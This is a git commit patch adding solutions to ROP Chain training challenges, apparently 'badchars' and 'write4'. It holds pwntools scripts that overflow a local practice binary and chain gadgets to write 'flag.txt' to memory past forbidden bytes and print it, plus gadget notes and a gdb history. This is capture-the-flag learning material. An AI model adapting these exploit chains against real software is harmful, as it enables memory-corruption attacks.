From 3f54969f581fd311c09b1c21758ad9aa4a8784f4 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Wed, 16 Dec 2020 21:33:39 -0600 Subject: new file: x86_64/badchars/exploit.py new file: x86_64/badchars/exploit_dirty.py new file: x86_64/badchars/usefullstuff deleted: x86_64/write4/.exploit.py.swp deleted: x86_64/write4/.useful_gadgets.swp modified: x86_64/write4/exploit.py --- x86_64/badchars/.gdb_history | 7 +++++ x86_64/badchars/core | Bin 0 -> 4427776 bytes x86_64/badchars/exploit.py | 53 +++++++++++++++++++++++++++++++++++++ x86_64/badchars/exploit_dirty.py | 54 ++++++++++++++++++++++++++++++++++++++ x86_64/badchars/usefullstuff | 40 ++++++++++++++++++++++++++++ x86_64/write4/.exploit.py.swp | Bin 12288 -> 0 bytes x86_64/write4/.useful_gadgets.swp | Bin 12288 -> 0 bytes x86_64/write4/core | Bin 0 -> 4427776 bytes x86_64/write4/exploit.py | 2 ++ 9 files changed, 156 insertions(+) create mode 100644 x86_64/badchars/.gdb_history create mode 100644 x86_64/badchars/core create mode 100755 x86_64/badchars/exploit.py create mode 100644 x86_64/badchars/exploit_dirty.py create mode 100644 x86_64/badchars/usefullstuff delete mode 100644 x86_64/write4/.exploit.py.swp delete mode 100644 x86_64/write4/.useful_gadgets.swp create mode 100644 x86_64/write4/core (limited to 'x86_64') diff --git a/x86_64/badchars/.gdb_history b/x86_64/badchars/.gdb_history new file mode 100644 index 0000000..4ac679a --- /dev/null +++ b/x86_64/badchars/.gdb_history @@ -0,0 +1,7 @@ +break pwnme +run +stepi +return +nexti +stepi +q diff --git a/x86_64/badchars/core b/x86_64/badchars/core new file mode 100644 index 0000000..37c439a Binary files /dev/null and b/x86_64/badchars/core differ diff --git a/x86_64/badchars/exploit.py b/x86_64/badchars/exploit.py new file mode 100755 index 0000000..da56cc9 --- /dev/null +++ b/x86_64/badchars/exploit.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +from pwn import * +from time import sleep + + +def strfixandcopy(dest, string, badchars, payload): + badchar_locations = [] + fixed_str = b'' + for n,l in enumerate(string): + if l in badchars: + fixed_str += bytes([ord(string[n]) - 1]) + badchar_locations.append(n) + else: + fixed_str += bytes([ord(string[n])]) + + payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret + + payload += fixed_str # r12 + payload += p64(dest) # r13 + payload += p64(1) # r14 + payload += p64(1) # r15 + + payload += p64(0x0000000000400634) # moves fixed string + + for badchar_location in badchar_locations: + payload += p64(0x00000000004006a0) # pop r14, r15 + payload += p64(1) + payload += p64(dest + badchar_location) + payload += p64(0x000000000040062c) #does the adding + + return(payload) + +prog = process('./badchars') +payload = b'' +for c in range(40): + payload += b'a' + + +payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload) +payload += p64(0x00000000004006a3) +payload += p64(0x601be0) +payload += p64(0x0000000000400510) +payload += b"\n" +prog.sendline(payload) + +sleep(0.5) +print(str(prog.recv(), 'UTF-8')) +prog.close() + + + + + diff --git a/x86_64/badchars/exploit_dirty.py b/x86_64/badchars/exploit_dirty.py new file mode 100644 index 0000000..eab68fe --- /dev/null +++ b/x86_64/badchars/exploit_dirty.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +from pwn import * +from time import sleep + +# gotta go FAST +# i'll make it clean when I'm not pressured for time + + +prog = process('./badchars') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret +payload += b'fl`f-twt' +payload += p64(0x601be0) +payload += p64(1) +payload += p64(0x601be2) + +payload += p64(0x0000000000400634) # just pops + +payload += p64(0x000000000040062c) # add [r15], r14 + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be3) + + +payload += p64(0x000000000040062c) # add [r15], r14 + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be4) +payload += p64(0x000000000040062c) # add [r15], r14 + + +payload += p64(0x00000000004006a0) # pops +payload += p64(1) +payload += p64(0x601be6) +payload += p64(0x000000000040062c) # add [r15], r14 + + +payload += p64(0x00000000004006a3) # pops rdi +payload += p64(0x601be0) + +payload += p64(0x0000000000400510) + + +payload += b"\n" +prog.sendline(payload) + +sleep(0.5) +print(prog.recv()) +prog.close() diff --git a/x86_64/badchars/usefullstuff b/x86_64/badchars/usefullstuff new file mode 100644 index 0000000..78cd6e8 --- /dev/null +++ b/x86_64/badchars/usefullstuff @@ -0,0 +1,40 @@ +0000000000400628 : + 400628: 45 30 37 xor BYTE PTR [r15],r14b + 40062c: 45 00 37 add BYTE PTR [r15],r14b + 400630: 45 28 37 sub BYTE PTR [r15],r14b + 400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12 + +print_file@plt: 0000000000400510 + +0x00000000004006a0 : pop r14 ; pop r15 ; ret + +1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers +1: + r12: "flae-txt" + r13: 0x601be0 + r14: 1 + r15: 0x601be4 + +2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret + +3: 0x000000000040062c : add [r15], r14 + +4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret + r14: 1 + r15: 0x601be5 + +5: 0x00000000004006a3 : pop rdi ; ret + rdi: 0x601be0 + +6: 0x0000000000400510 : print_file@plt + + + + +0x00000000004006a3 : pop rdi ; ret + + +.init_array: 0x601be0 [safe] + +we cant use: 'x', 'g', 'a', '.' +['0x78', '0x67', '0x61', '0x2e'] diff --git a/x86_64/write4/.exploit.py.swp b/x86_64/write4/.exploit.py.swp deleted file mode 100644 index 5602feb..0000000 Binary files a/x86_64/write4/.exploit.py.swp and /dev/null differ diff --git a/x86_64/write4/.useful_gadgets.swp b/x86_64/write4/.useful_gadgets.swp deleted file mode 100644 index f89dc3e..0000000 Binary files a/x86_64/write4/.useful_gadgets.swp and /dev/null differ diff --git a/x86_64/write4/core b/x86_64/write4/core new file mode 100644 index 0000000..857be86 Binary files /dev/null and b/x86_64/write4/core differ diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py index f8b294e..026687f 100755 --- a/x86_64/write4/exploit.py +++ b/x86_64/write4/exploit.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 from pwn import * +from time import sleep prog = process('./write4') payload = b'' @@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section payload += p64(0x0000000000400510) # print_file@plt payload += b"\n" prog.sendline(payload) +sleep(0.5) print(str(prog.recv(), 'UTF-8')) prog.close() -- cgit v1.2.3